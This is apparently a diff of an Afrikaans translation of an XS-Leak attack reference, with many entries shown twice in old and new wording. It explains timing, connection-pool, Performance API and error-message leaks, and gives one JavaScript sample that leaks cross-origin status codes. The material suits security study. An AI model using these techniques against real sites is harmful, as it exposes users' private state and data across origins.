JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) gelykheidmodel, wat beteken dat **dit slegs een taak op 'n slag kan uitvoer**. Hierdie eienskap kan uitgebuit word om **te meet hoe lank dit neem vir kode van 'n ander oorsprong om uit te voer**. 'n Aanvaller kan die uitvoertyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n **aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur vertragings in die uitvoering van hul eie take te waarneem**. Hierdie metode van monitering van die gebeurtenislus vir vertragings kan die uitvoertyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting kan blootstel.
{% hint style="warning" %}
In 'n uitvoertydsberekening is dit moontlik om **netwerk faktore te elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word te laai voordat dit gelaai word.
@ -272,7 +272,7 @@ In 'n uitvoertydsberekening is dit moontlik om **netwerk faktore te elimineer**
* **Insluitingsmetodes**:
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Opsomming:** Een metode om die uitvoertyd van 'n web-operasie te meet, behels om opsetlik die gebeurtenislus van 'n draad te blokkeer en dan te tyd **hoe lank dit neem vir die gebeurtenislus om weer beskikbaar te word**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchrone API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem vir daaropvolgende kode om uitvoer te begin, kan 'n persoon die duur van die take wat in die gebeurtenislus tydens die blokkeerperiode uitgevoer is, aflei. Hierdie tegniek maak gebruik van die enkel-draad aard van JavaScript se gebeurtenislus, waar take in volgorde uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
* **Opsomming:** Een metode om die uitvoertyd van 'n web-operasie te meet, behels die opsetlike blokkering van die gebeurtenislus van 'n draad en dan die tyd te meet **hoe lank dit neem vir die gebeurtenislus weer beskikbaar te word**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchrone API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem vir daaropvolgende kode om uitvoer te begin, kan 'n persoon die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek maak gebruik van die enkel-draad aard van JavaScript se gebeurtenislus, waar take in volgorde uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
* **Kodevoorbeeld**:
@ -287,19 +287,19 @@ In 'n uitvoertydsberekening is dit moontlik om **netwerk faktore te elimineer**
* **Insluitingsmetodes**: JavaScript Versoeke
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Opsomming:** 'n Aanvaller kan al die sokkels behalwe een blokkeer, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd tot die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
* **Opsomming:** 'n Aanvaller kan al die sokkels behalwe een blokkeer, die teikenwebwerf laai en terselfdertyd 'n ander bladsy laai, die tyd tot die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
* **Kodevoorbeeld**:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
Webblaaier gebruik sokkels vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, word **webblaaier gedwing om 'n limiet** te plaas op die aantal gelyktydige sokkels. Aanvallers kan hierdie beperking uitbuit deur die volgende stappe te volg:
Webblaaier gebruik sokkels vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **word webblaaier gedwing om 'n limiet te stel** op die aantal gelyktydige sokkels. Aanvallers kan hierdie beperking uitbuit deur die volgende stappe te volg:
1. Vasstel die webblaaier se sokkellimiet, byvoorbeeld 256 globale sokkels.
2. Beset 255 sokkels vir 'n lang tyd deur 255 versoeke na verskeie gasheer te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.
3. Gebruik die 256ste sokkel om 'n versoek na die teikenbladsy te stuur.
4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien alle sokkels in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in 'n ry geplaas word totdat 'n sokkel beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller met tyd-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sokkel (die teikenbladsy se sokkel). Hierdie afleiding is moontlik omdat die 255 sokkels van stap 2 nog besig is, wat impliseer dat enige nuut beskikbare sokkel die een moet wees wat vrygestel is van stap 3. Die tyd wat dit neem vir die 256ste sokkel om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien alle sokkels in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in 'n ry geplaas word totdat 'n sokkel beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyd-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sokkel (die teikenbladsy se sokkel). Hierdie afleiding is moontlik omdat die 255 sokkels van stap 2 nog besig is, wat impliseer dat enige nuut beskikbare sokkel die een moet wees wat vrygestel is van stap 3. Die tyd wat dit neem vir die 256ste sokkel om beskikbaar te word, is dus direk gekoppel aan die tyd wat die versoek na die teikenbladsy neem om te voltooi.
Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -308,46 +308,46 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-
* **Insluitingsmetodes**: JavaScript Versoeke
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Meer inligting**:
* **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokkels te gebruik, stel Google **Chrome** 'n limiet van **6 gelyktydige versoek na dieselfde oorsprong**. As ons **5 blokkeer** en dan 'n **6de versoek begin**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy** meer **versoeke** na dieselfde eindpunt te stuur om 'n **status** van die **bladsy** te identifiseer, sal die **6de versoek** langer neem en ons kan dit identifiseer.
* **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokkels te gebruik, stel Google **Chrome** 'n limiet van **6 gelyktydige versoek na dieselfde oorsprong**. As ons **5 blokkeer** en dan 'n **6de versoek begin**, kan ons dit **tyd** en as ons daarin slaag om die **teikenbladsy meer versoek** na dieselfde eindpunt te stuur om 'n **status** van die **bladsy** te identifiseer, sal die **6de versoek** langer neem en ons kan dit identifiseer.
## Prestasie API Tegnieke
Die [`Prestasie API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasie metriek van webtoepassings, verder verryk deur die [`Hulpbron Tyd API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). Die Hulpbron Tyd API maak dit moontlik om die gedetailleerde netwerkversoektye te monitor, soos die duur van die versoeke. Merkwaardig, wanneer bedieners die `Timing-Allow-Origin: *` kop in hul antwoorde insluit, word addisionele data soos die oordraggrootte en domeinsoektogtyd beskikbaar.
Hierdie oorvloed van data kan verkry word deur metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende uitsig oor prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoertye deur die verskil tussen tydstempels wat verkry is vanaf [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in webblaaier soos Chrome, die presisie van `performance.now()` beperk kan wees tot millisekondes, wat die fynheid van tydmetings kan beïnvloed.
Hierdie oorvloed van data kan verkry word deur metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende uitsig oor prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoertye deur die verskil tussen tydstempels wat verkry is vanaf [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om daarop te let dat vir sekere operasies in webblaaier soos Chrome, die presisie van `performance.now()` beperk kan wees tot millisekondes, wat die fynheid van tydmetings kan beïnvloed.
Verder as tydmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `prestasie`-objek in Chrome kan dui op die toepassing van `X-Frame-Options`. Spesifiek, as 'n bladsy geblokkeer word vanaf die weergawe in 'n raam as gevolg van `X-Frame-Options`, sal dit nie in die `prestasie`-objek opgeteken word nie, wat 'n subtile aanduiding bied oor die bladsy se raambeleid.
### Foutlek
* **Insluitingsmetodes**: Raamwerke, HTML Elemente
* **Insluitingsmetodes**: Raamwerke, HTML-elemente
* **Opspoorbare Verskil**: Statuskode
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** 'n Versoek wat tot foute lei, sal nie 'n hulpbron tydinskrywing skep nie.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Dit is moontlik om **onderskeid te maak tussen HTTP-antwoordstatuskodes** omdat versoeke wat tot 'n **fout** lei **nie 'n prestasie-inskrywing skep nie**.
Dit is moontlik om **onderskeid te tref tussen HTTP-antwoordstatuskodes** omdat versoeke wat tot 'n **fout** lei **nie 'n prestasie-inskrywing skep nie**.
### Styl Herlaaifout
### Styl Herlaai Fout
* **Insluitingsmetodes**: HTML Elemente
* **Insluitingsmetodes**: HTML-elemente
* **Opspoorbare Verskil**: Statuskode
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** As gevolg van 'n webblaaierfout word versoeke wat tot foute lei, twee keer gelaai.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
In die vorige tegniek is ook twee gevalle geïdentifiseer waar webblaaierfoute in GC lei tot **hulpbronne wat twee keer gelaai word as hulle nie laai nie**. Dit sal lei tot meervoudige inskrywings in die Prestasie API en kan dus opgespoor word.
In die vorige tegniek is ook twee gevalle geïdentifiseer waar webblaaierfoute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle nie laai nie**. Dit sal lei tot meervoudige inskrywings in die Prestasie API en kan dus opgespoor word.
### Versoeksamevoegingsfout
### Versoek Versmeltingsfout
* **Insluitingsmetodes**: HTML Elemente
* **Insluitingsmetodes**: HTML-elemente
* **Opspoorbare Verskil**: Statuskode
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** Versoeke wat tot 'n fout lei, kan nie saamgevoeg word nie.
* **Opsomming:** Versoeke wat tot 'n fout lei, kan nie saamgesmelt word nie.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Die tegniek is gevind in 'n tabel in die genoemde papier, maar geen beskrywing van die tegniek is daarop gevind nie. Jy kan egter die bronkode wat daarvoor kontroleer in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Die tegniek is gevind in 'n tabel in die genoemde papier, maar geen beskrywing van die tegniek is daarin gevind nie. Jy kan egter die bronkode vind wat dit nagaan in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Leë Bladsy Lek
### Leë Bladsy-lek
* **Insluitingsmetodes**: Raamwerke
* **Opspoorbare Verskil**: Bladsy-inhoud
@ -357,22 +357,22 @@ Die tegniek is gevind in 'n tabel in die genoemde papier, maar geen beskrywing v
'n Aanvaller kan opspoor of 'n versoek gelei het tot 'n leë HTTP-antwoordliggaam omdat **leë bladsye nie 'n prestasie-inskrywing skep in sommige webblaaier** nie.
### **XSS-Auditor Lek**
### **XSS-Auditor-lek**
* **Insluitingsmetodes**: Raamwerke
* **Opspoorbare Verskil**: Bladsy-inhoud
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** Deur die gebruik van die XSS Auditor in Sekuriteitsbewerings, kan aanvallers spesifieke webblad elemente opspoor deur veranderinge in antwoorde waar te neem wanneer gekonstrueerde vragte die auditor se filtermeganisme trigger.
* **Opsomming:** Deur die gebruik van die XSS Auditor in Sekuriteitsbewerings, kan aanvallers spesifieke webblad-elemente opspoor deur veranderinge in antwoorde waar te neem wanneer gekonstrueerde vragte die ouditeur se filtermeganisme aktiveer.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
In Sekuriteitsbewerings (SA) kan die XSS Auditor, oorspronklik bedoel om Kruiswebwerf Skrifinjeksie (XSS) aanvalle te voorkom, paradoksaal uitgebuit word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk verwyder is uit Google Chrome (GC), is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich gedemonstreer dat die XSS Auditor per ongeluk legitieme skripte kon blokkeer, wat gelei het tot vals positiewe. Voortbouend op hierdie bevindinge, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye op te spoor, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek was vir die XSS Auditor in GC, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode blootstel waardeur sensitiewe inligting steeds gelek kan word.
In Sekuriteitsbewerings (SA) kan die XSS Auditor, oorspronklik bedoel om Kruiswebwerfinskrywings (XSS) aanvalle te voorkom, paradoksaal uitgebuit word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich gedemonstreer dat die XSS Auditor per ongeluk legitieme skripte kon blokkeer, wat tot vals positiewe gelei het. Voortbouend op hierdie bevindinge, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong-bladsye op te spoor, 'n konsep bekend as XS-Lekke, aanvanklik gerapporteer deur Terada en uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek was vir die XSS Auditor in GC, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode blootstel waardeur sensitiewe inligting steeds gelek kan word.
### X-Frame Lek
### X-Frame-lek
* **Insluitingsmetodes**: Raamwerke
* **Opspoorbare Verskil**: Kop
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Opsomming:** 'n Hulpbron met 'n X-Frame-Options kop skep nie 'n hulpbron tydinskrywing nie.
* **Opsomming:** 'n Hulpbron met die X-Frame-Options kop skep nie 'n hulpbron tydinskrywing nie.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
As 'n bladsy **nie toegelaat** word om in 'n **iframe** weergegee te word nie, skep dit **nie 'n prestasie-inskrywing** nie. As gevolg hiervan kan 'n aanvaller die antwoordkop **`X-Frame-Options`** opspoor.\
@ -383,47 +383,47 @@ Dieselfde gebeur as jy 'n **embed** **tag** gebruik.
* **Insluitingsmetodes**: Raamwerke
* **Opspoorbare Verskil**: Kop
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** Aflaaier skep nie hulpbron tydinskrywings in die Prestasie API nie.
* **Opsomming:** Aflaaie skep nie hulpbron tydinskrywings in die Prestasie API nie.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Soortgelyk aan die beskrywing van XS-Leak, skep 'n **hulpbron wat afgelaai word** as gevolg van die ContentDisposition kop, ook **nie 'n prestasie-inskrywing** nie. Hierdie tegniek werk in alle belangrike webblaaier.
Soortgelyk aan die beskrywing van XS-Lek, skep 'n **hulpbron wat afgelaai word** as gevolg van die ContentDisposition-kop, ook **nie 'n prestasie-inskrywing** nie. Hierdie tegniek werk in alle belangrike webblaaier.
### Aanvraag na Aanstuurlek
* **Insluitingsmetodes**: Rame
* **Opspoorbare Verskil**: Aanstuur
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** Die bron se tyd van 'n aanstuurlek word uitgelek.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
* **Opsomming:** Die hulpbron tydverloop lek die begin tyd van 'n aanstuur.
* **Kode Voorbeeld**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Ons het een XS-Leak-geval gevind wat die gedrag van sekere webblaaier misbruik wat te veel inligting vir kruis-oorsprong aanvrae log. Die standaard definieer 'n subset van eienskappe wat op nul gestel moet word vir kruis-oorsprong bronne. Nietemin, in **SA** is dit moontlik om te bepaal of die gebruiker **aangestuur** word deur die teikenbladsy, deur die **Performance API** te ondervra en te kyk vir die **redirectStart tydsdata**.
Ons het een XS-Leak geval gevind wat die gedrag van sommige webblaaier misbruik wat te veel inligting vir kruis-oorsprong aanvrae log. Die standaard definieer 'n subset van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Nietemin, in **SA** is dit moontlik om te bepaal of die gebruiker **aangestuur** word deur die teikenbladsy, deur die **Performance API** te ondervra en te kyk vir die **redirectStart tydverloopdata**.
### Duur Aanstuurlek
* **Insuittingsmetodes**: Fetch API
* **Opsoorbare Verskil**: Aanstuur
* **Opsoorbaare Verskil**: Aanstuur
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** Die duur van tydinskrywings is negatief wanneer 'n aanstuur plaasvind.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
* **Opsomming:** Die duur van tydverloopinskrywings is negatief wanneer 'n aanstuur plaasvind.
* **Kode Voorbeeld**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
In GC is die **duur** vir aanvrae wat tot 'n **aanstuur** lei, **negatief** en kan dus onderskei word van aanvrae wat nie tot 'n aanstuur lei nie.
In GC, is die **duur** vir aanvrae wat in 'n **aanstuur** resulteer, **negatief** en kan dus onderskei word van aanvrae wat nie in 'n aanstuur resulteer nie.
### CORP-lek
### CORP Lek
* **Insuittingsmetodes**: Rame
* **Opsoorbare Verskil**: Kopteks
* **Opsoorbaare Verskil**: Kop
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Opsomming:** Hulpbronne wat met CORP beskerm word, skep nie tydinskrywings vir hulpbronne nie.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
* **Opsomming:** Hulpbronne beskerm met CORP skep nie hulpbron tydverloopinskrywings nie.
* **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lektegniek gebruik word. In GC, wanneer die **CORP-kopteks** ingestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA nie 'n prestasie-inskrywing vir almal vir CORP-geaktiveerde bronne sal skep nie.
In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lektegniek gebruik word. In GC, wanneer die **CORP kop** ingestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA nie 'n prestasieinskrywing vir almal vir CORP-geaktiveerde hulpbronne sal skep nie.
### Dienswerker
* **Insuittingsmetodes**: Rame
* **Opsoorbare Verskil**: API-gebruik
* **Opsoorbaare Verskil**: API Gebruik
* **Meer inligting**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Opsomming:** Bepaal of 'n dienswerker vir 'n spesifieke oorsprong geregistreer is.
* **Kodevoorbeeld**:
* **Kode Voorbeeld**:
Dienswerkers is gebeurtenisgedrewe skripskontekste wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webbladsy en kan hulpbronne onderskep, wysig, en **kas** om aanlyn webtoepassings te skep.\
As 'n **hulpbron gekas** deur 'n **dienswerker** via 'n **rame** benader word, sal die hulpbron van die dienswerker se kas **gelaai word**.\
@ -433,30 +433,30 @@ Dit kan ook gedoen word met 'n Tydaanval (kyk na die dokument vir meer inligting
### Kas
* **Insuittingsmetodes**: Fetch API
* **Opsoorbare Verskil**: Tydsberekening
* **Opsoorbaare Verskil**: Tydverloop
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Opsomming:** Dit is moontlik om te kontroleer of 'n hulpbron in die kas gestoor is.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
* **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
Deur die [Performance API](./#performance-api) te gebruik, is dit moontlik om te bepaal of 'n hulpbron gekas is.
### Netwerkduur
* **Insuittingsmetodes**: Fetch API
* **Opsoorbare Verskil**: Bladsy-inhoud
* **Opsoorbaare Verskil**: Bladsy Inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Opsomming:** Dit is moontlik om die netwerkduur van 'n aanvraag van die `performance` API te herwin.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Opsomming:** Dit is moontlik om die netwerkduur van 'n versoek van die `performance` API te herwin.
* **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Foutboodskaptegniek
## Foutboodskap Tegniek
### Mediafout
### Media Fout
* **Insuittingsmetodes**: HTML Elemente (Video, Klank)
* **Opsoorbare Verskil**: Statuskode
* **Opsoorbaare Verskil**: Status Kode
* **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Opsomming:** In Firefox is dit moontlik om 'n kruis-oorsprong aanvraag se statuskode akkuraat uit te lek.
* **Kodevoorbeeld**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
* **Opsomming:** In Firefox is dit moontlik om akkuraat 'n kruis-oorsprong versoek se statuskode te lek.
* **Kode Voorbeeld**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
@ -489,64 +489,64 @@ displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err
audioElement.onerror = errHandler;
}
```
Die `MediaError`-koppelvlak se boodskapeienskap identifiseer hulpbronne wat suksesvol laai met 'n unieke string. 'n Aanvaller kan hierdie kenmerk uitbuit deur die boodskapinhoud waar te neem, en sodoende die responsstatus van 'n kruis-oorsprong hulpbron af te lei.
Die `MediaError`-koppelvlak se boodskapeienskap identifiseer hulpbronne wat suksesvol laai met 'n unieke string. 'n Aanvaller kan hierdie kenmerk uitbuit deur die boodskapinhoud te ondersoek, en sodoende die responsstatus van 'n kruis-oorsprong hulpbron af te lei.
### CORS-fout
* **Insluitingsmetodes**: Fetch API
* **Opspoorbare Verskil**: Koptekst
* **Opmerkbare Verskil**: Koptekst
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Opsomming:** In Sekuriteitsbewerings (SA) stel CORS-foutboodskappe onbedoeld die volledige URL van omgeleide versoek bloot.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te profiteer van hoe Webkit-gebaseerde webblaaier CORS-versoeke hanteer. Spesifiek, wanneer 'n **CORS-ingeskakelde versoek** gestuur word na 'n teikenwebwerf wat 'n omleiding uitreik gebaseer op gebruikerstatus en die blaaier daaropvolgend die versoek ontken, word die **volledige URL van die omleiding se teiken** binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar bloot ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat.
Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te profiteer van hoe Webkit-gebaseerde webblaaier CORS-versoeke hanteer. Spesifiek, wanneer 'n **CORS-ingeskakelde versoek** gestuur word na 'n teikenwebwerf wat 'n omleiding uitreik gebaseer op gebruikerstatus en die blaaier daaropvolgend die versoek weier, word die **volledige URL van die omleiding se teiken** binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar bloot ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat.
### SRI-fout
* **Insluitingsmetodes**: Fetch API
* **Opspoorbare Verskil**: Koptekst
* **Opmerkbare Verskil**: Koptekst
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Opsomming:** In Sekuriteitsbewerings (SA) stel SRI-foutboodskappe onbedoeld die volledige URL van omgeleide versoek bloot.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
'n Aanvaller kan **uitvoerige foutboodskappe** uitbuit om die grootte van kruis-oorsprong respons te bepaal. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitskenmerk gebruik om te valideer dat hulpbronne wat opgehaal word, dikwels van CDNs afkomstig, nie geteister is nie. Vir SRI om te werk op kruis-oorsprong hulpbronne, moet hierdie **CORS-ingeskakel** wees; anders word hulle nie aan integriteitskontroles onderwerp nie. In Sekuriteitsbewerings (SA), soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n ophalingsversoek met 'n integriteitskenmerk misluk. Aanvallers kan doelbewus hierdie fout **trigger** deur 'n **vals hashtekenwaarde** toe te ken aan die integriteitskenmerk van enige versoek. In SA, onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die versoekte hulpbron. Hierdie inligtingslek laat 'n aanvaller toe om variasies in responsgrootte te onderskei, wat die pad baan vir gesofistikeerde XS-Leak-aanvalle.
